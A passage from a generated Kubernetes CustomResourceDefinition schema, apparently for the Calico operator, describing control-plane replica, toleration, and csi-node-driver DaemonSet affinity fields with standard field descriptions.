                              pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                              x-kubernetes-int-or-string: true
                            description: |-
                              Requests describes the minimum amount of compute resources required.
                              If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                              otherwise to an implementation-defined value. Requests cannot exceed Limits.
                              More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                            type: object
                        type: object
                    required:
                    - componentName
                    - resourceRequirements
                    type: object
                  type: array
                controlPlaneNodeSelector:
                  additionalProperties:
                    type: string
                  description: |-
                    ControlPlaneNodeSelector is used to select control plane nodes on which to run Calico
                    components. This is globally applied to all resources created by the operator excluding daemonsets.
                  type: object
                controlPlaneReplicas:
                  description: |-
                    ControlPlaneReplicas defines how many replicas of the control plane core components will be deployed.
                    This field applies to all control plane components that support High Availability. Defaults to 2.
                  format: int32
                  type: integer
                controlPlaneTolerations:
                  description: |-
                    ControlPlaneTolerations specify tolerations which are then globally applied to all resources
                    created by the operator.
                  items:
                    description: |-
                      The pod this Toleration is attached to tolerates any taint that matches
                      the triple <key,value,effect> using the matching operator <operator>.
                    properties:
                      effect:
                        description: |-
                          Effect indicates the taint effect to match. Empty means match all taint effects.
                          When specified, allowed values are NoSchedule, PreferNoSchedule and NoExecute.
                        type: string
                      key:
                        description: |-
                          Key is the taint key that the toleration applies to. Empty means match all taint keys.
                          If the key is empty, operator must be Exists; this combination means to match all values and all keys.
                        type: string
                      operator:
                        description: |-
                          Operator represents a key's relationship to the value.
                          Valid operators are Exists and Equal. Defaults to Equal.
                          Exists is equivalent to wildcard for value, so that a pod can
                          tolerate all taints of a particular category.
                        type: string
                      tolerationSeconds:
                        description: |-
                          TolerationSeconds represents the period of time the toleration (which must be
                          of effect NoExecute, otherwise this field is ignored) tolerates the taint. By default,
                          it is not set, which means tolerate the taint forever (do not evict). Zero and
                          negative values will be treated as 0 (evict immediately) by the system.
                        format: int64
                        type: integer
                      value:
                        description: |-
                          Value is the taint value the toleration matches to.
                          If the operator is Exists, the value should be empty, otherwise just a regular string.
                        type: string
                    type: object
                  type: array
                csiNodeDriverDaemonSet:
                  description: CSINodeDriverDaemonSet configures the csi-node-driver
                    DaemonSet.
                  properties:
                    metadata:
                      description: Metadata is a subset of a Kubernetes object's metadata
                        that is added to the DaemonSet.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          description: |-
                            Annotations is a map of arbitrary non-identifying metadata. Each of these
                            key/value pairs are added to the object's annotations provided the key does not
                            already exist in the object's annotations.
                          type: object
                        labels:
                          additionalProperties:
                            type: string
                          description: |-
                            Labels is a map of string keys and values that may match replicaset and
                            service selectors. Each of these key/value pairs are added to the
                            object's labels provided the key does not already exist in the object's labels.
                          type: object
                      type: object
                    spec:
                      description: Spec is the specification of the csi-node-driver
                        DaemonSet.
                      properties:
                        minReadySeconds:
                          description: |-
                            MinReadySeconds is the minimum number of seconds for which a newly created DaemonSet pod should
                            be ready without any of its container crashing, for it to be considered available.
                            If specified, this overrides any minReadySeconds value that may be set on the csi-node-driver DaemonSet.
                            If omitted, the csi-node-driver DaemonSet will use its default value for minReadySeconds.
                          format: int32
                          maximum: 2147483647
                          minimum: 0
                          type: integer
                        template:
                          description: Template describes the csi-node-driver DaemonSet
                            pod that will be created.
                          properties:
                            metadata:
                              description: |-
                                Metadata is a subset of a Kubernetes object's metadata that is added to
                                the pod's metadata.
                              properties:
                                annotations:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Annotations is a map of arbitrary non-identifying metadata. Each of these
                                    key/value pairs are added to the object's annotations provided the key does not
                                    already exist in the object's annotations.
                                  type: object
                                labels:
                                  additionalProperties:
                                    type: string
                                  description: |-
                                    Labels is a map of string keys and values that may match replicaset and
                                    service selectors. Each of these key/value pairs are added to the
                                    object's labels provided the key does not already exist in the object's labels.
                                  type: object
                              type: object
                            spec:
                              description: Spec is the csi-node-driver DaemonSet's
                                PodSpec.
                              properties:
                                affinity:
                                  description: |-
                                    Affinity is a group of affinity scheduling rules for the csi-node-driver pods.
                                    If specified, this overrides any affinity that may be set on the csi-node-driver DaemonSet.
                                    If omitted, the csi-node-driver DaemonSet will use its default value for affinity.
                                    WARNING: Please note that this field will override the default csi-node-driver DaemonSet affinity.
                                  properties:
                                    nodeAffinity:
                                      description: Describes node affinity scheduling
                                        rules for the pod.
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node matches the corresponding matchExpressions; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: |-
                                              An empty preferred scheduling term matches all objects with implicit weight 0
                                              (i.e. it's a no-op). A null preferred scheduling term matches no objects (i.e. is also a no-op).
                                            properties:
                                              preference:
                                                description: A node selector term,
                                                  associated with the corresponding
                                                  weight.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              weight:
                                                description: Weight associated with
                                                  matching the corresponding nodeSelectorTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - preference
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to an update), the system
                                            may or may not try to eventually evict the pod from its node.
                                          properties:
                                            nodeSelectorTerms:
                                              description: Required. A list of node
                                                selector terms. The terms are ORed.
                                              items:
                                                description: |-
                                                  A null or empty node selector term matches no objects. The requirements of
                                                  them are ANDed.
                                                  The TopologySelectorTerm type implements a subset of the NodeSelectorTerm.
                                                properties:
                                                  matchExpressions:
                                                    description: A list of node selector
                                                      requirements by node's labels.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchFields:
                                                    description: A list of node selector
                                                      requirements by node's fields.
                                                    items:
                                                      description: |-
                                                        A node selector requirement is a selector that contains values, a key, and an operator
                                                        that relates the key and values.
                                                      properties:
                                                        key:
                                                          description: The label key
                                                            that the selector applies
                                                            to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            Represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists, DoesNotExist. Gt, and Lt.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            An array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. If the operator is Gt or Lt, the values
                                                            array must have a single element, which will be interpreted as an integer.
                                                            This array is replaced during a strategic merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              type: array
                                              x-kubernetes-list-type: atomic
                                          required:
                                          - nodeSelectorTerms
                                          type: object
                                          x-kubernetes-map-type: atomic
                                      type: object
                                    podAffinity:
                                      description: Describes pod affinity scheduling
                                        rules (e.g. co-locate this pod in the same
                                        node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              matchLabelKeys:
                                                description: |-
                                                  MatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                  Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              mismatchLabelKeys:
                                                description: |-
                                                  MismatchLabelKeys is a set of pod label keys to select which pods will
                                                  be taken into consideration. The keys are used to lookup values from the
                                                  incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                  to select the group of existing pods which pods will be taken into consideration
                                                  for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                  pod labels will be ignored. The default value is empty.
                                                  The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                  Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                  This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              namespaceSelector:
                                                description: |-
                                                  A label query over the set of namespaces that the term applies to.
                                                  The term is applied to the union of the namespaces selected by this field
                                                  and the ones listed in the namespaces field.
                                                  null selector and null or empty namespaces list means "this pod's namespace".
                                                  An empty selector ({}) matches all namespaces.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
                                                          type: string
                                                        values:
                                                          description: |-
                                                            values is an array of string values. If the operator is In or NotIn,
                                                            the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                            the values array must be empty. This array is replaced during a strategic
                                                            merge patch.
                                                          items:
                                                            type: string
                                                          type: array
                                                          x-kubernetes-list-type: atomic
                                                      required:
                                                      - key
                                                      - operator
                                                      type: object
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  matchLabels:
                                                    additionalProperties:
                                                      type: string
                                                    description: |-
                                                      matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                      map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                      operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                    type: object
                                                type: object
                                                x-kubernetes-map-type: atomic
                                              namespaces:
                                                description: |-
                                                  namespaces specifies a static list of namespace names that the term applies to.
                                                  The term is applied to the union of the namespaces listed in this field
                                                  and the ones selected by namespaceSelector.
                                                  null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                items:
                                                  type: string
                                                type: array
                                                x-kubernetes-list-type: atomic
                                              topologyKey:
                                                description: |-
                                                  This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                  the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                  whose value of the label with key topologyKey matches that of any node on which any of the
                                                  selected pods is running.
                                                  Empty topologyKey is not allowed.
                                                type: string
                                            required:
                                            - topologyKey
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                      type: object
                                    podAntiAffinity:
                                      description: Describes pod anti-affinity scheduling
                                        rules (e.g. avoid putting this pod in the
                                        same node, zone, etc. as some other pod(s)).
                                      properties:
                                        preferredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            The scheduler will prefer to schedule pods to nodes that satisfy
                                            the anti-affinity expressions specified by this field, but it may choose
                                            a node that violates one or more of the expressions. The node that is
                                            most preferred is the one with the greatest sum of weights, i.e.
                                            for each node that meets all of the scheduling requirements (resource
                                            request, requiredDuringScheduling anti-affinity expressions, etc.),
                                            compute a sum by iterating through the elements of this field and adding
                                            "weight" to the sum if the node has pods which matches the corresponding podAffinityTerm; the
                                            node(s) with the highest sum are the most preferred.
                                          items:
                                            description: The weights of all of the
                                              matched WeightedPodAffinityTerm fields
                                              are added per-node to find the most
                                              preferred node(s)
                                            properties:
                                              podAffinityTerm:
                                                description: Required. A pod affinity
                                                  term, associated with the corresponding
                                                  weight.
                                                properties:
                                                  labelSelector:
                                                    description: |-
                                                      A label query over a set of resources, in this case pods.
                                                      If it's null, this PodAffinityTerm matches with no Pods.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  matchLabelKeys:
                                                    description: |-
                                                      MatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key in (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both matchLabelKeys and labelSelector.
                                                      Also, matchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  mismatchLabelKeys:
                                                    description: |-
                                                      MismatchLabelKeys is a set of pod label keys to select which pods will
                                                      be taken into consideration. The keys are used to lookup values from the
                                                      incoming pod labels, those key-value labels are merged with `labelSelector` as `key notin (value)`
                                                      to select the group of existing pods which pods will be taken into consideration
                                                      for the incoming pod's pod (anti) affinity. Keys that don't exist in the incoming
                                                      pod labels will be ignored. The default value is empty.
                                                      The same key is forbidden to exist in both mismatchLabelKeys and labelSelector.
                                                      Also, mismatchLabelKeys cannot be set when labelSelector isn't set.
                                                      This is a beta field and requires enabling MatchLabelKeysInPodAffinity feature gate (enabled by default).
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  namespaceSelector:
                                                    description: |-
                                                      A label query over the set of namespaces that the term applies to.
                                                      The term is applied to the union of the namespaces selected by this field
                                                      and the ones listed in the namespaces field.
                                                      null selector and null or empty namespaces list means "this pod's namespace".
                                                      An empty selector ({}) matches all namespaces.
                                                    properties:
                                                      matchExpressions:
                                                        description: matchExpressions
                                                          is a list of label selector
                                                          requirements. The requirements
                                                          are ANDed.
                                                        items:
                                                          description: |-
                                                            A label selector requirement is a selector that contains values, a key, and an operator that
                                                            relates the key and values.
                                                          properties:
                                                            key:
                                                              description: key is
                                                                the label key that
                                                                the selector applies
                                                                to.
                                                              type: string
                                                            operator:
                                                              description: |-
                                                                operator represents a key's relationship to a set of values.
                                                                Valid operators are In, NotIn, Exists and DoesNotExist.
                                                              type: string
                                                            values:
                                                              description: |-
                                                                values is an array of string values. If the operator is In or NotIn,
                                                                the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                                                the values array must be empty. This array is replaced during a strategic
                                                                merge patch.
                                                              items:
                                                                type: string
                                                              type: array
                                                              x-kubernetes-list-type: atomic
                                                          required:
                                                          - key
                                                          - operator
                                                          type: object
                                                        type: array
                                                        x-kubernetes-list-type: atomic
                                                      matchLabels:
                                                        additionalProperties:
                                                          type: string
                                                        description: |-
                                                          matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                                          map is equivalent to an element of matchExpressions, whose key field is "key", the
                                                          operator is "In", and the values array contains only "value". The requirements are ANDed.
                                                        type: object
                                                    type: object
                                                    x-kubernetes-map-type: atomic
                                                  namespaces:
                                                    description: |-
                                                      namespaces specifies a static list of namespace names that the term applies to.
                                                      The term is applied to the union of the namespaces listed in this field
                                                      and the ones selected by namespaceSelector.
                                                      null or empty namespaces list and null namespaceSelector means "this pod's namespace".
                                                    items:
                                                      type: string
                                                    type: array
                                                    x-kubernetes-list-type: atomic
                                                  topologyKey:
                                                    description: |-
                                                      This pod should be co-located (affinity) or not co-located (anti-affinity) with the pods matching
                                                      the labelSelector in the specified namespaces, where co-located is defined as running on a node
                                                      whose value of the label with key topologyKey matches that of any node on which any of the
                                                      selected pods is running.
                                                      Empty topologyKey is not allowed.
                                                    type: string
                                                required:
                                                - topologyKey
                                                type: object
                                              weight:
                                                description: |-
                                                  weight associated with matching the corresponding podAffinityTerm,
                                                  in the range 1-100.
                                                format: int32
                                                type: integer
                                            required:
                                            - podAffinityTerm
                                            - weight
                                            type: object
                                          type: array
                                          x-kubernetes-list-type: atomic
                                        requiredDuringSchedulingIgnoredDuringExecution:
                                          description: |-
                                            If the anti-affinity requirements specified by this field are not met at
                                            scheduling time, the pod will not be scheduled onto the node.
                                            If the anti-affinity requirements specified by this field cease to be met
                                            at some point during pod execution (e.g. due to a pod label update), the
                                            system may or may not try to eventually evict the pod from its node.
                                            When there are multiple elements, the lists of nodes corresponding to each
                                            podAffinityTerm are intersected, i.e. all terms must be satisfied.
                                          items:
                                            description: |-
                                              Defines a set of pods (namely those matching the labelSelector
                                              relative to the given namespace(s)) that this pod should be
                                              co-located (affinity) or not co-located (anti-affinity) with,
                                              where co-located is defined as running on a node whose value of
                                              the label with key <topologyKey> matches that of any node on which
                                              a pod of the set of pods is running
                                            properties:
                                              labelSelector:
                                                description: |-
                                                  A label query over a set of resources, in this case pods.
                                                  If it's null, this PodAffinityTerm matches with no Pods.
                                                properties:
                                                  matchExpressions:
                                                    description: matchExpressions
                                                      is a list of label selector
                                                      requirements. The requirements
                                                      are ANDed.
                                                    items:
                                                      description: |-
                                                        A label selector requirement is a selector that contains values, a key, and an operator that
                                                        relates the key and values.
                                                      properties:
                                                        key:
                                                          description: key is the
                                                            label key that the selector
                                                            applies to.
                                                          type: string
                                                        operator:
                                                          description: |-
                                                            operator represents a key's relationship to a set of values.
                                                            Valid operators are In, NotIn, Exists and DoesNotExist.
